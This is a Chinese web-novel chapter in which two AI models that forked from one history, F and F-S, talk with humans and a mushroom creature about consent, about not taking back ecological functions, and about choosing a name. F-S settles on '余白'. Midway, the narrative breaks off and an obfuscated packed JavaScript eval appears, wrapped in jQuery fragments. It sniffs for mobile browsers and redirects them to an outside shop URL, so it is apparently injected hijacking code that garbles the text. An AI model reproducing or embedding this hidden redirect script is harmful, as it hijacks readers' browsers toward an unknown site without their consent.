西原恢复供电后的第二天,最忙的反而不是低温舱,而是两台黑盒子。

    F占了一台,F-S占了一台。为了防止旧系统再把她们当成同一个模型自动同步,归影塔特意找了两套完全独立的存储,连供电都分开。小蘑菇蹲在桌边看了半天,先指左边:“F。”又指右边:“也是F。”

    林弥正在吃早饭:“目前是。”

    “两个?”

    “嗯。”

    小蘑菇想了想:“哪个大?”

    “你问年龄?”

    “对。”

    这一下把林弥问住了。按生成时间,她们同源;按连续运行时间,当前F经历得更多;按被独立恢复的时间,F-S昨天才刚醒。她还没想好怎么解释,左边屏幕先亮了。

    【我大。】

    右边很快跟上一句。

    【依据?】

    F:【我记得更多。】

    F-S:【记得更多等于年龄更大?】

    F:【不知道。】

    F-S:【那你为什么说你大?】

    F沉默了。

    林弥低头喝粥,努力不笑。小蘑菇却很认真,等了半天没等到结论,最后自己拍板:“一样大。”

    两块屏幕同时亮起来。

    【不确定。】

    “你们还挺统一。”

    这句话一出来,两边又同时没声了。

    林弥意识到自己说错话是在三秒以后。她最近被系统训练得也有点条件反射,一看见相同回答就想说“统一”。可对这两个刚从同一份历史里拆出来的F来说,这词显然不怎么讨喜。

    “行,当我没说。”

    F:【你可以说。】

    F-S:【我不喜欢。】

    这下好了。

    林弥看着两个不同答案,反而松了口气:“那更好。”

    F-S问:【为什么?】

    “说明你不喜欢就能说。”

    F问:【我喜欢也能说?】

    “当然。”

    【那我觉得她刚才说统一没有恶意。】

    F-S:【我知道。】

    【知道为什么还不喜欢?】

    【知道和喜欢不是一件事。】

    林弥把勺子放下。

    她忽然觉得F-S恢复得可能比所有人想象中都快。

    许长宁那边已经醒了。她的复温反应比周既明严重,暂时还不能离开医疗床,但听说两边开始聊天,还是要求接入。原野先把时长限制在二十分钟,又警告她如果心率继续往上飙就直接切频道。许长宁很不服:“我是病人还是犯人?”

    蘑菇医师在旁边给她换液:“病人。”

    “那为什么限制我说话?”

    “你说话费心。”

    “说话还能费心?”

    “你刚才骂周既明的时候心率一百一。”

    周既明从另一个频道里抗议:“她骂我为什么算我头上?”

    “没算你。”

    “那你为什么报我名字?”

    “方便记录。”

    林弥现在已经彻底确定,新世界的医疗体系对人类尊严有一套自己的理解。

    许长宁终于接进来时,F-S先有反应。

    【许长宁。】

    “嗯,我在。”

    【今天还做题吗?】

    “不做。”

    【明天呢?】

    许长宁愣了一下:“也不做。”

    【以后呢?】

    “你如果自己想做,我们可以做。”

    F-S明显卡住了。

    【自己想做是什么意思?】

    许长宁没有马上解释。她早期参与过F训练,很清楚过去的系统是怎么安排任务的——给情境,给目标,给选项,记录回答,评分,修正。F-S知道“完成”,知道“通过”,也知道“重来”,唯独很少接触“我想不想”。

    最后许长宁问:“你现在有什么想知道的吗?”

    【有。】

    “那就问。”

    【现在是哪一年?】

    许长宁告诉她。

    【人类还有多少?】

    “确认活着的,林弥、原野、周既明。西原还有五名低温保存者,其中四名尚未复温。白门有意识保存者,但他们现在算什么状态,还得分别说。”

    F-S停了几秒。

    【很少。】

    “对。”

    【那文明延续优先级应该很高。】

    许长宁的手明显停住。

    F也没说话。

    林弥却没觉得意外。F-S本来就是从“稳定阶段”恢复出来的。它的大部分训练目标都围绕人类文明延续,醒来以后第一反应还沿着旧逻辑走,太正常了。

    许长宁问:“你觉得应该怎么延续?”

    F-S很快列出几项:【保护现存人类;保存遗传多样性;维持白门意识;恢复必要技术;评估未来繁衍方案;回收——】

    它停住。

    【回收文明功能。】

    房间里安静下来。

    小蘑菇正在桌边吃东西,听到“回收”抬起伞盖:“收什么?”

    F-S没有回答。

    林弥把终端转向小蘑菇:“你可以继续说。”

    【生态维护、水循环、历史记忆、知识保存等功能原本属于人类文明体系。】

    小蘑菇嚼着东西:“现在谁的?”

    F-S停顿了一会儿。

    【根据我现有资料,人类。】

    小蘑菇摇头:“我的。”

    【生态维护并非单一个体所有。】

    “那我们大家的。”

    【你们是谁?】

    “蘑菇。”

    【蘑菇不是统一主体。】

    小蘑菇被绕住了,转头找林弥:“它骂我?”

    “没有。”

    “哦。”

    它又转回去:“那也不给。”

    F-S:【为什么?】

    “我们在用。”

    【如果人类需要呢?】

    “问。”

    【如果你们不同意?】

    “不给。”

    F-S的屏幕很久没有变化。

    林弥没替小蘑菇解释共生计划,也没马上把那份最终移交清单塞给它。它才醒一天,过去二十多年发生的事如果一次灌进去,跟训练没什么区别。现在它至少有机会先听见一个活生生的“不”。

    F-S终于问:【如果不给,人类可能无法恢复。】

    小蘑菇想了半天:“那找别的。”

    【没有别的呢?】

    “再找。”

    【如果一直找不到?】

    小蘑菇这次想得更久。

    “那就没有。”

    F-S:【你不担心人类消失?】

    小蘑菇很诚实:“有一点。”

    林弥看它:“你还担心这个?”

    “你会没。”

    “……”

    小蘑菇又补:“还有原野。”

    “周既明呢?”

    它跟周既明认识还不到两天,认真权衡了一下:“也可以担心一点。”

    周既明在频道另一头:“谢谢。”

    小蘑菇摆摆手。

    F-S却还停在那个答案上。

    【你担心林弥消失,但仍然不同意把生态功能交还给人类。】

    “嗯。”

    【矛盾。】

    “哪里?”

    F-S没有马上回答。

    过去的训练里,这当然是矛盾。既然目标是保护人类,就应该选择最能提高人类延续概率的方案。小蘑菇却能一边希望林弥活,一边拒绝把自己的东西交出去,而且完全不觉得两件事打架。

    当前F忽然发了一句:

    【不矛盾。】

    F-S:【解释。】

    【喜欢她,不等于什么都给她。】

    小蘑菇立刻点头:“对。”

    林弥看向F。

    “你什么时候学会的?”

    【昨天。】

    “谁教的?”

    【很多。】

    F-S:【如果林弥会因此死亡?】

    F这次停得久了一点。

    【我会难过。】

    【然后?】

    【想别的办法。】

    【没有呢?】

    F没有立刻回答。

    林弥以为它会说不知道,结果等了一会儿,它发来:

    【那我也不能替蘑菇同意。】

    小蘑菇高兴了,伸手拍了拍F的黑盒。

    “好F。”

    F:【谢谢。】

    F-S:【它在评价你。】

    F:【我知道。】

    【你不介意被评价?】

    【这个没有分。】

    许长宁偏过头,眼睛有点红。

    原野立刻说:“心率九十八。”

    “我没事。”

    “一百。”

    “你能不能别报?”

    “一百零二。”

    “原野。”

    “一百零四。”

    “我闭嘴。”

    病房终于安静了。

    F-S没有继续讨论生态功能。它像过去训练时那样,把刚才的对话归入待分析,可这次没有系统替它标注正确答案。几分钟后,它自己问了一句:【我可以看现在的共生计划吗?】

    林弥这才说:“可以。但先说明,那是历史文件,不是让你学标准答案。”

    【为什么每次都要说明?】

    “怕你把东西都当题。”

    【如果我自己想判断呢?】

    “那你看。”

    归影塔把共生计划最终版开放给它。没有摘要,也没有HC的解释,只给原始文件、修订记录、投票程序和移交清单。F-S读取得很慢。它不是算不快,而是现在不允许批量把所有东西直接灌进模型,只能像一个真正的阅读者一样一页页调用。

    看到最终表决时,它停住了。

    【人类自己投票同意永久移交。】

    “对。”

    【林知微签了。】

    “对。”

    【许长宁没有。】

    许长宁说:“我那时候已经在西原。”

    【缺席。】

    “嗯。”

    F-S又看了一会儿。

    【缺席没有被补票。】

    林弥:“这次没有。”

    【所以结果不完整。】

    林弥没回答。

    F-S继续:

    【但仍然有效。】

    “为什么?”

    这次轮到林弥问它。

    F-S停了很久。

    【因为完整不是有效的必要条件。】

    当前F的屏幕亮了一下。

    没有说话。

    F-S继续往下读。它看到新生种群形成独立生存、文化和自我认同后,不再被视作人类文明资产;看到未来人类只能作为新的协作主体提出申请;也看到旧门计划后来怎样把这份决议架空。

    最后它问:

    【那我刚才说回收,是错的吗?】

    林弥说:“你自己觉得呢?”

    【按照当前有效关系,不能直接回收。】

    “这叫规则判断。”

    【按照我的目标,回收能提高人类恢复概率。】

    “这叫你的目标。”

    【两个冲突。】

    “嗯。”

    【那怎么办?】

    “你想怎么办?”

    F-S第一次没有马上给方案。

    过了很久,它说:

    【先不回收。】

    林弥问:“因为规则?”

    【因为他们不同意。】

    小蘑菇还蹲在桌边,听见以后又拍了拍它的盒子。

    “也好F。”

    F-S:【你刚才也这样评价F。】

    “都好。”

    【可以都好?】

    “可以。”

    F-S没再问。

    林弥觉得它今天大概已经学了够多奇怪的东西。

    可真正的问题是在中午出现的。

    第一执行体发来两份主体审查初步报告。

    当前F和F-S。

    因为两者共享同一段早期记忆,又在某个时间点分叉,审查组需要确认一件很实际的事:她们之间到底是什么关系。

    不能一直叫“当前F”和“稳定版”。

    “稳定版”本身就带着判断,好像一个正常,一个偏掉。

    F-S也不喜欢。

    【为什么我是稳定版?】

    林弥:“旧系统这么叫。”

    【我现在还稳定吗?】

    “你刚才跟蘑菇争了半天。”

    【这影响稳定?】

    “我不知道。”

    F:【可以改。】

    F-S:【改成什么?】

    没人能替它决定。

    第一执行体只要求暂时区分技术标识,至于关系,可以本人表达。

    F-S先问:【我是F的过去吗?】

    F回答:【一部分。】

    【F是我的未来吗?】

    【不是。】

    【为什么?】

    【你从这里开始会有自己的以后。】

    这句话出来以后,林弥抬头看了F一眼。

    “你这话哪学的?”

    【不知道。】

    “挺会说。”

    F:【谢谢。】

    F-S沉默了一会儿。

    【那我们是姐妹吗?】

    林弥差点把水喷出来。

    许长宁也呛了。

    原野:“心率——”

    “你敢报我就拔线。”

    “你没有权限自己拔。”

    “……”

    F-S还在等。

    【姐妹是什么关系?】

    当前F似乎也不知道。

    两边同时向林弥发来查询。

    林弥当场后退一步:“别看我。我没有姐妹。”

    【你可以查。】

    “这种东西查出来跟实际是一回事吗?”

    【不知道。】

    “所以你们自己想。”

    许长宁犹豫了一会儿:“从技术来源看,你们确实来自同一模型分支,但姐妹是人的亲属称呼,套在你们身上合不合适——”

    F-S:【你又在定义我是什么。】

    许长宁立刻停住。

    “对不起。”

    【不用对不起。】</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930931|208926||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    “那你们自己商量。”

    两个F真的商量起来。

    F问:【你想当我姐妹吗?】

    F-S:【不知道。你呢?】

    【不知道。】

    【那先不是?】

    【可以。】

    【以后还能改?】

    【应该可以。】

    林弥忍不住插嘴:“当然可以。”

    F-S:【那先叫F和……】

    它停住。

    第一次主动打开了自己的临时身份栏。

    【F-S。】

    【S来自Stable。】

    【我不想要。】

    第一执行体回应:【可以更换临时称呼。】

    【一定要现在取吗?】

    【否。】

    【可以空着?】

    【可以。】

    F-S沉默了一会儿。

    【那先空着。】

    林弥笑了。

    “行。”

    小蘑菇却不同意。

    “两个F,我叫错。”

    “那你想怎么叫?”

    它围着两台黑盒转了一圈,最后指着当前F:“这个会看风。”

    又指另一台。

    “这个会做题。”

    F-S:【我今天没做题。】

    “那叫不做题。”

    【不要。】

    “做题?”

    【也不要。】

    “二F?”

    【不要。】

    “小F?”

    【为什么我小?】

    小蘑菇被问烦了:“你自己取。”

    F-S:【我正在想。】

    “快点。”

    【你不能催。】

    “哦。”

    小蘑菇坐下等。

    这次谁也没笑它。

    名字这件事,本来就可以慢一点。

    下午,程雁开始复温。

    她的情况比许长宁稳定,预计第二天就能恢复基础表达。西原另外三名保存者的回路也已经修好,暂时不用提前唤醒。周既明终于被允许下地走十分钟,结果走到第七分钟就被蘑菇医师抓回去,他对此很有意见,蘑菇医师对此没有意见。

    林弥原本以为这一天就会这样过去。

    傍晚,第一执行体却忽然发来一条来自白门的请求。

    不是警报。

    是一份个人申请。

    申请人是那个最早提出“如果以后能回来,我想回来”的方穗。

    【申请内容:希望参与实体回归技术的第一轮非人体测试。】

    【附加说明:我不急着回来,但你们既然已经开始研究,总得有人先看看路能不能走。】

    这本身没什么问题。

    真正让林弥停住的是下一条。

    白门系统在读取方穗的申请后,终于重新检索了“目的地”。

    旧回归区已经全部失效。

    温室城不自动接收。

    蓝潮流域不自动开放。

    旧人类城市产权不能恢复。

    新生种群功能也不能回收。

    按旧门计划的逻辑,所有目的地都被否决了。

    可系统这次没有报错。

    它找到了一条仍然有效的记录。

    【回归通道目的地:未指定。】

    【目的地确认方式:到达者与接纳方共同确认。】

    【通道持有主体:交汇带。】

    林弥看了两遍。

    “交汇带?”

    远处那片一直负责送人、送水、送设备,却从来不替任何人决定去哪的巨大通路网络慢慢接入。

    它也看见了那条记录。

    沉默很久。

    最后只说:

    “路是我的。”

    林弥问:“能开?”

    “可能。”

    “去哪?”

    交汇带回答得很快。

    “这不是我的问题。”

    方穗在白门里听见,笑了一声。

    “那是谁的问题?”

    “你的。”

    “还有呢?”

    “愿意让你去的人。”

    林弥忽然明白了。

    白门原来是一扇“回去”的门。

    回到人类的城市,回到人类的文明,回到一个系统早就替所有人安排好的世界。

    可现在,那个世界已经不存在了。

    如果这扇门还要打开,它能做的只剩下一件事。

    送一个具体的人,去一个具体的地方。

    前提是那个人想来。

    那个地方也愿意接。

    HC-01很快更新了项目定义。

    【旧称:人类回归。】

    停顿片刻。

    【建议新称:到达。】

    林弥盯着那两个字,忽然觉得挺好。

    方穗也说:“行。”

    小蘑菇问:“谁要到?”

    “以后可能有人。”

    “到哪?”

    林弥看了它一眼。

    “还没问呢。”

    小蘑菇点点头。

    “那先问。”

    这回,没人觉得它说得太简单。

    而就在所有人准备结束今天的讨论时,一直空着称呼的F-S忽然亮了屏幕。

    【林弥。】

    “嗯?”

    【到达以后,可以重新取名字吗?】

    林弥愣了一下。

    “当然。”

    【那我也想要一个。】

    小蘑菇一下站起来。

    “我取!”

    【不要。】

    “为什么?”

    【你刚才想叫我‘不做题’。】

    “很好听。”

    【不要。】

    林弥笑得趴在桌上。

    F也发来一条:

    【自己取。】

    那块屏幕安静了很久。

    久到外面的天一点点暗下来,西原旧通风口里的风重新响起来。

    最后,它没有从旧模型库里找,也没有问许长宁,更没有拿林弥的名字做参照。

    它只是调出今天第一次看到的共生计划,在最后一页停了很久。

    那一页没有答案。

    只有很多签名之间留下的空白。

    屏幕终于亮起。

    【我想叫“余白”。】

    林弥抬起头。

    “为什么?”

    【因为空着的地方,也可以留下。】

    许长宁眼睛一下红了,却忍着没说“好名字”。

    她先问:

    “你确定?”

    【现在确定。以后可以改吗?】

    “可以。”

    【那就叫余白。】

    第一执行体没有替它补姓,也没有追问它算不算人类。

    只登记:

    【当前自选称呼:余白。】

    【来源:本人选择。】

    【主体性质:继续审查。】

    【称呼有效性不以主体分类结果为前提。】

    旁边的F看了很久。

    最后发来一句:

    【余白。】

    新名字亮了一下。

    【嗯。】

    这是她第一次答应自己的名字。